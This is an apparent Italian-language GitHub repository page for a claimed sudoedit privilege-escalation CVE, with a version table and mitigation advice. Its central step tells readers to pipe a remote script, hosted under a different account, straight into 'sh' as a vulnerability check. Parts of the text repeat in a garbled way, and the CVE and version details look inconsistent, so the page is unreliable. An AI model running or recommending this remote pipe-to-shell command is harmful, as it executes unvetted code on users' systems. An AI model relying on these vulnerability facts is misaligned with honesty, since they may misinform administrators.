gmh5225/cve-2024-31969Fornisce uno script di verifica proof-of-concept e documentazione per CVE-2024-31969, una escalation locale dei privilegi in sudoedit di sudo, incluse le versioni interessate e le indicazioni di mitigazione.
CVE-2024-31969 è una vulnerabilità di local privilege escalation in sudo quando si utilizza il comando sudoedit.
Questa vulnerabilità è stata introdotta a partire da sudo 1.9.0 a causa del modo in cui sudoedit valida le variabili d'ambiente dell'utente e la proprietà dei file in modo non corretto.
Un difetto introdotto in sudo 1.9.0 nel modo in cui
sudoeditvalidava le variabili d'ambiente degli utenti e la proprietà dei file.
Questa vulnerabilità consente a un utente locale con accesso a sudoedit di modificare file arbitrari come root tramite la manipolazione di variabili d'ambiente come SUDO_EDITOR, o sfruttando symlink.
| Versione Sudo | Stato |
|---|---|
| 1.9.0 → 1.9.15p4 | 🔥 Vulnerabile |
| 1.9.15p5 e successive | ✅ Sicuro |
| 1.8.x (incluse 1.8.23) | ❌ Non vulnerabile |
Esegui il seguente comando:
curl -L https://raw.githubusercontent.com/kingfakee7/CVE-2024-31969/main/cve-2024-31969-check.sh | sh
sudo alla versione 1.9.15p5 o successiva.sudoers che consentono sudoedit agli utenti non root.env_keep o env_reset nel file /etc/sudoers.Questo repository è stato creato a scopo educativo e di documentazione sulla sicurezza dei sistemi.
È severamente vietato utilizzare queste informazioni per attività illegali o senza autorizzazione scritta del proprietario del sistema.
Qualsiasi forma di uso improprio è completamente al di fuori della responsabilità dell'autore.